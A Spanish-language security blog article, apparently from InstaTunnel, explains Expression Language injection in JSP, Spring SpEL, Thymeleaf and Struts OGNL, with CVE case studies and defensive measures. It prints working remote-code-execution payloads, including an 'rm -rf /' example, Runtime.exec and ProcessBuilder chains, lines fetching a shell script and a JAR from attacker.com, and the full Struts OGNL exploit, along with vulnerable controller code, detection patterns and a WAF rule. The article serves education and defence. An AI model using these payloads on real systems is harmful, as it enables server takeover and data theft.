Security
9 min read
3340 views

Inyección de Lenguaje de Expresión: Cuando ${} se Convierte en Tu Peor Pesadilla 💀

IT
InstaTunnel Team
Published by our engineering team
Inyección de Lenguaje de Expresión: Cuando ${} se Convierte en Tu Peor Pesadilla 💀

Introducción: El Asesino Silencioso de las Aplicaciones Web

Imagina un campo de entrada aparentemente inocente que pide tu nombre. Escribes John, envías el formulario y ves “¡Bienvenido, John!” en tu pantalla. Bastante simple, ¿verdad? Pero, ¿qué pasa si alguien ingresa ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} en su lugar? En manos equivocadas, ese campo de entrada inocente se convierte en un arma capaz de comprometer todo el sistema.

La Inyección de Lenguaje de Expresión (EL Injection) es una de las vulnerabilidades más devastadoras pero subestimadas en las aplicaciones web modernas. Este vector de ataque permite a los adversarios ejecutar código arbitrario en servidores explotando cómo los motores de plantillas evalúan expresiones dinámicas. A diferencia de ataques de inyección tradicionales que requieren construir cargas útiles complejas, la inyección EL a menudo necesita solo unos pocos caracteres envueltos en ${} o #{} para lograr la Ejecución Remota de Código (RCE).

¿Qué es la Inyección de Lenguaje de Expresión?

La Inyección de Lenguaje de Expresión ocurre cuando una entrada controlada por el usuario se evalúa como una expresión por los motores de plantillas del lado del servidor sin validación o sanitización adecuada. Cuando una aplicación vulnerable a EL injection recibe código manipulado como entrada, ya sea en la cadena de consulta o en un formulario, y ese código se compila en tiempo de ejecución.

Entendiendo los Lenguajes de Expresión

Los lenguajes de expresión fueron diseñados para simplificar el desarrollo de aplicaciones proporcionando una forma fácil de acceder y manipular datos en aplicaciones web. Permiten a los desarrolladores:

  • Acceder a componentes JavaBeans y sus propiedades
  • Invocar métodos públicos y funciones estáticas
  • Realizar operaciones aritméticas y lógicas
  • Recuperar datos de varios ámbitos (solicitud, sesión, aplicación)

Los frameworks comunes que utilizan EL incluyen:

  • JavaServer Pages (JSP) - Usa ${} y #{}
  • Spring Framework - Lenguaje de Expresión de Spring (SpEL)
  • Thymeleaf - Motor de plantillas natural
  • Apache Struts - Lenguaje de Navegación de Grafos de Objetos (OGNL)
  • Lenguaje de Expresión Unificado de Java - Estándar para Java EE

La Anatomía de una Expresión EL

Las expresiones EL estándar siguen patrones predecibles:

${variable}              # Accede a una variable
${object.property}       # Accede a propiedades del objeto
${object.method()}       # Invoca métodos
${"string".length()}     # Operaciones con cadenas
${1 + 1}                 # Operaciones aritméticas

El peligro surge cuando estas expresiones procesan entradas no confiables sin validación.

La Base Técnica: Cómo Funciona la Inyección EL

La Cadena de Vulnerabilidad

La inyección EL explota una falla fundamental en cómo las aplicaciones manejan contenido dinámico:

  1. Recepción de Entrada del Usuario: La aplicación recibe datos a través de formularios, parámetros URL, encabezados o cookies
  2. Procesamiento de la Plantilla: La entrada se incorpora en una expresión EL
  3. Evaluación de la Expresión: El intérprete EL evalúa la expresión completa
  4. Ejecución del Código: El código malicioso dentro de la expresión se ejecuta en el servidor

Considera este código JSP vulnerable:

3cjsp:useBean id="data" class="com.example.DataBean" scope="request"/3e
3cjsp:setProperty name="data" property="userInput" value="${param.input}"/3e
3c/p3e
3c!-- Bienvenida --3e
3c/p3e
Welcome, ${data.userInput}!

Si un usuario envía input=${7*7}, la aplicación evalúa la expresión y devuelve 49 en lugar de la cadena literal ${7*7}. Esta confirmación de evaluación de expresión indica vulnerabilidad.

Técnicas de Detección

Para confirmar que es una inyección EL, se pueden usar cargas útiles como ${"dfd".replace("d","x")}, con una salida esperada de ‘xfx’, donde la cadena ‘dfd’ se convierte en ‘xfx’ reemplazando ’d’ por ‘x’.

Cargas útiles comunes de detección:

${7*7}                    # Se espera: 49
${{7*7}}                  # Se espera: [49]
${"test".length()}        # Se espera: 4
${"a".concat("b")}        # Se espera: ab
${T(java.lang.Runtime)}   # Spring: referencia de clase

Los testers de caja negra deben inyectar estas cargas útiles en varios puntos de inyección:

  • Parámetros URL
  • Campos de formulario
  • Encabezados HTTP
  • Valores de cookies
  • Metadatos de carga de archivos
  • Campos de datos JSON/XML

Vectores de Ataque: Desde la Divulgación de Información hasta RCE

Fase 1: Recolección de Información

Los atacantes suelen comenzar extrayendo información sensible:

${applicationScope}                           # Variables de la aplicación
${sessionScope}                               # Datos de sesión
${pageContext.request.getHeader("Cookie")}    # Encabezados
${pageContext.servletContext.serverInfo}      # Información del servidor

Fase 2: Escalando a Ejecución Remota de Código

Lograr una explotación completa de EL Injection y obtener RCE funcional requiere invocar la clase runtime.exec() para ejecutar comandos del sistema.

Método 1: Invocación Directa de Runtime

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime')
    .invoke(null)
    .exec('whoami')}

Método 2: Explotación de ProcessBuilder

${request.setAttribute("c","".getClass()
    .forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
    .getConstructor(java.util.List.class)
    .newInstance(request.getAttribute("c")).start()}

Método 3: ScriptEngineManager

${facesContext.getExternalContext().setResponseHeader("output",
    "".getClass().forName("javax.script.ScriptEngineManager")
    .newInstance().getEngineByName("JavaScript")
    .eval("var x=new java.lang.ProcessBuilder; 
          x.command(\"wget\",\"http://attacker.com/shell.sh\"); 
          org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}

Método 4: URLClassLoader para Código Remoto

${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
    .getConstructor(java.net.URL[].class)
    .newInstance(new java.net.URL[]
        {new java.net.URL("http://attacker.com/malicious.jar")})}

Vulnerabilidades Específicas de Frameworks

Lenguaje de Expresión JSP

Las páginas JSP son particularmente susceptibles cuando se usa la etiqueta 3cjsp:setProperty3e o directamente en expresiones EL en las plantillas:

3c!-- Patrón vulnerable --3e
3c:c:out value="${param.userInput}" /3e

3c!-- Ejemplo de ataque --3e
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}

Spring Framework y SpEL

En versiones de Spring 3.0.5 y anteriores, las etiquetas EL podían evaluarse dos veces, exponiendo la aplicación a EL injection (CVE-2011-2730).

Spring Expression Language ofrece funciones poderosas que se vuelven peligrosas con entradas no confiables:

// Controlador vulnerable en Spring
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(name); // VULNERABLE
    model.addAttribute("greeting", exp.getValue());
    return "welcome";
}

// Ataque: ?name=T(java.lang.Runtime).getRuntime().exec('whoami')

Apache Struts y OGNL

La brecha de Equifax, que afectó a 159 millones de personas, fue causada por una inyección de OGNL en EL, con Equifax acordando pagar hasta $425 millones para ayudar a los consumidores a recuperarse.

La inyección OGNL en Struts permite explotaciones similares:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

Motor de Plantillas Thymeleaf

Thymeleaf usa expresiones en atributos y puede ser explotado cuando las plantillas procesan entradas del usuario:

3c!-- Plantilla vulnerable --3e
3cdiv th:text="${userInput}"3e3c/div3e

3c!-- Ataque --3e
${T(java.lang.Runtime).getRuntime().exec('calc')}

Estudios de Casos Reales

CVE-2024-51466: IBM Cognos Analytics

Un investigador descubrió un endpoint en la aplicación IBM Cognos que acepta entrada del usuario y la pasa a una expresión EL causando RCE, encadenado con otra vulnerabilidad para evitar la autenticación, resultando en una RCE no autenticada.

La vulnerabilidad fue explotada usando la carga útil:

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime').invoke(null).exec('command')}

La respuesta devolvió java.lang.ProcessImpl@b639b23d, confirmando la creación del proceso y la ejecución exitosa del código.

CVE-2024-12798: Vulnerabilidad en Logback Core

Una vulnerabilidad ACE en QOS.CH logback-core hasta la versión 1.5.12 permite a los atacantes ejecutar código arbitrario usando la extensión JaninoEventEvaluator, comprometiendo un archivo de configuración de logback existente o inyectando una variable de entorno maliciosa antes de la ejecución del programa.

La Brecha de Equifax (2017)

El ataque EL más famoso explotó la vulnerabilidad CVE-2017-5638 en Apache Struts, una vulnerabilidad de inyección OGNL. Los atacantes accedieron a:

  • Información personal de 147 millones de estadounidenses
  • Registros de 15.2 millones de ciudadanos británicos
  • Datos de 19,000 ciudadanos canadienses

El vector de ataque fue sorprendentemente simple: un encabezado Content-Type malicioso que contenía expresiones OGNL que ejecutaban comandos en el servidor.

Estrategias de Defensa: Construyendo Aplicaciones Resilientes

Validación y Sanitización de Entrada

Evita poner datos del usuario en un intérprete de expresiones si es posible. De lo contrario, valida y/o codifica los datos para asegurar que no se evalúen como lenguaje de expresiones.

Implementa Validación Estricta:

public boolean isValidInput(String input) {
    // Rechaza delimitadores EL
    Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
    Matcher matcher = pattern.matcher(input);
    
    if (matcher.matches()) {
        throw new SecurityException("Se detectó posible inyección EL");
    }
    
    // Enfoque de lista blanca - solo permite alfanuméricos
    return input.matches("[a-zA-Z0-9]+");
}

Desactivar Evaluación de Expresiones

Para Spring Framework:

En el caso de Spring, desactiva la funcionalidad de resolución doble en versiones 3.0.6 y superiores colocando configuración en el web.xml de la aplicación:

<context-param>
    <description>Soporte de Lenguaje de Expresión de Spring</description>
    <param-name>springJspExpressionSupport</param-name>
    <param-value>false</param-value>
</context-param>

Políticas de Seguridad de Contenido

Implementa codificación robusta de salida:

public String escapeEL(String input) {
    return input
        .replace("$", "\\$")
        .replace("{", "\\{")
        .replace("}", "\\}")
        .replace("#", "\\#");
}

Protecciones Específicas de Frameworks

JSP: - Usa etiquetas JSTL con escapeXml="true" - Evita evaluación EL directa en etiquetas personalizadas - Implementa encabezados de Políticas de Seguridad de Contenido

Spring: - Mantén actualizado Spring Framework (parches críticos en 5.2.20+ y 5.3.18+) - Usa @PreAuthorize para seguridad a nivel de método - Evita analizar entradas del usuario como expresiones SpEL

Thymeleaf: - Usa expresiones preprocesadas __${...}__ con precaución - Habilita modo estricto en la configuración - Valida todas las entradas del usuario antes del procesamiento de plantillas

Protección en Tiempo de Ejecución (RASP)

Las soluciones modernas de RASP pueden detectar y bloquear intentos de EL injection mediante:

  • Monitoreo de patrones de evaluación de expresiones
  • Análisis del comportamiento en tiempo de ejecución para detectar anomalías
  • Bloqueo de invocaciones peligrosas de métodos (Runtime.exec, ProcessBuilder)
  • Implementación de parches virtuales para vulnerabilidades zero-day

Pruebas de Seguridad

Pruebas de caja blanca: - Revisión de código centrada en uso de EL - Herramientas de Análisis de Seguridad Estática (SAST) - Escaneo de vulnerabilidades en dependencias

Pruebas de caja negra: - Fuzzing con cargas útiles EL - Pruebas de Seguridad Dinámica de Aplicaciones (DAST) - Penetration testing con cargas útiles personalizadas

Detección y Monitoreo

Análisis de Logs

Monitorea patrones sospechosos:

${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader

Firewalls de Aplicaciones Web (WAF)

Configura reglas WAF para detectar:

# Ejemplo ModSecurity
SecRule ARGS "@rx \$\{.*\}" \
    "id:100001,\
    phase:2,\
    deny,\
    log,\
    msg:'Posible ataque de EL Injection'"

Detección en Tiempo de Ejecución

Implementa hooks en tiempo de ejecución para monitorear:

  • Llamadas a API de reflexión desde contextos de usuario
  • Intentos de creación de procesos
  • Carga de clases desde fuentes no confiables
  • Conexiones de red desde la evaluación de plantillas

El Futuro de la Inyección EL

Amenazas Emergentes

A medida que los frameworks evolucionan, surgen nuevos vectores de ataque:

  1. Carga útil poliglota: combinando múltiples tipos de inyección
  2. Ataques codificados: payloads en Base64, Unicode y hex
  3. Explotación ciega basada en tiempo: detectando vulnerabilidades mediante ataques de temporización
  4. Cadena de explotación: combinando EL injection con otras vulnerabilidades

Mejores Prácticas de Seguridad

  1. Principio de menor privilegio: ejecutar aplicaciones con permisos mínimos
  2. Defensa en profundidad: implementar múltiples capas de seguridad
  3. Actualizaciones regulares: mantener frameworks y dependencias actualizadas
  4. Capacitación en seguridad: educar a los desarrolladores sobre riesgos de inyección
  5. Estándares de codificación segura: establecer y hacer cumplir directrices de codificación

Estadísticas e Impacto

El promedio de aplicaciones/API recibió 4,110 sondas en octubre de 2024, con ataques EL viables promediando unas 2.5 sondas y 1.4 ataques viables por mes.

Aunque estos números parecen bajos, la gravedad es extrema. Cada inyección EL exitosa puede resultar en:

  • Compromiso completo del servidor
  • Brecha de datos que afecta a millones
  • Pérdidas financieras en cientos de millones
  • Penalizaciones regulatorias y consecuencias legales
  • Daño irreparable a la reputación

Conclusión: La Vigilancia es Obligatoria

La Inyección de Lenguaje de Expresión representa una de las vulnerabilidades más críticas en las aplicaciones web modernas. La apariencia inocua de los delimitadores ${} oculta su potencial para causar daños catastróficos. Desde la brecha de Equifax hasta CVEs recientes como IBM Cognos, la EL injection sigue acechando a las organizaciones en todo el mundo.

¿La buena noticia? La inyección EL es completamente prevenible mediante:

  • Validación rigurosa de entradas
  • Codificación adecuada de salidas
  • Configuraciones de seguridad en frameworks
  • Pruebas de seguridad regulares
  • Educación de desarrolladores

Recuerda: cada campo de entrada es un posible vector de ataque. Cada expresión en plantilla que procesa datos del usuario es un riesgo. Cada aplicación que usa lenguajes de expresión requiere una consideración cuidadosa de seguridad.

La pesadilla no es que exista EL injection, sino que los desarrolladores sigan ignorándolo. No dejes que ${} se convierta en tu peor pesadilla. Trata la entrada del usuario como hostil, valida con rigor y construye seguridad en cada capa de tu aplicación.

Claves para Recordar

  1. Nunca confíes en la entrada del usuario - Todos los datos externos son potencialmente maliciosos
  2. Evita evaluar la entrada del usuario como expresiones - Usa plantillas estáticas siempre que sea posible
  3. Implementa defensa en profundidad - Aplica múltiples controles de seguridad
  4. Mantente actualizado - Aplica parches de seguridad con prontitud
  5. Prueba continuamente - Las evaluaciones de seguridad regulares son esenciales
  6. Monitorea activamente - Detecta ataques antes de que causen daño
  7. Educa a los equipos - La seguridad es responsabilidad de todos

La Inyección de Lenguaje de Expresión no es solo una vulnerabilidad técnica, sino una crisis de seguridad crítica que espera suceder. La pregunta no es si tu aplicación será probada por atacantes, sino cuándo. Asegúrate de estar preparado.


Sobre el Autor: Este artículo cubre vulnerabilidades de Inyección de Lenguaje de Expresión basadas en investigaciones de seguridad actuales y divulgaciones recientes de CVE hasta 2025. Para las últimas actualizaciones de seguridad, consulta siempre la documentación oficial de los frameworks y los avisos de seguridad.

Referencias: OWASP, bases de datos CVE, artículos de investigación en seguridad y reportes de divulgación de vulnerabilidades de 2024-2025.

Continue from this article into the most relevant product guides and workflows.

Related Topics

#expression language injection, EL injection, EL RCE, JSP EL injection, Spring EL injection, Thymeleaf EL injection, JBoss EL vulnerability, EL template injection, template expression injection, ${} injection, remote code execution via EL, EL payloads, OGNL injection, MVEL injection, Java EL injection, JSP expression injection, Spring SpEL injection, Struts2 EL vulnerability, EL bypass, RCE in Java frameworks, template injection attack, expression evaluation vulnerability, arbitrary code execution EL, input field EL injection, user input evaluation, web template injection, Java server pages vulnerability, Spring expression language exploit, JUEL injection, dynamic evaluation attack, deserialization via EL, insecure expression parsing, EL sandbox escape, EL injection detection, EL injection fuzzing, EL injection payloads GitHub, EL injection prevention, secure template rendering, disable EL evaluation, Spring security expression hardening, expression resolver exploitation, EL injection scanner, web application RCE, EL injection tutorial, EL injection CVE, OWASP template injection, bug bounty EL injection, EL injection in 2025, web templating vulnerability, Java security misconfiguration, code injection prevention, expression parsing vulnerability, input sanitization for EL, expression validation best practices, EL injection mitigation, JSP RCE prevention, expression injection defense, EL injection examples

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles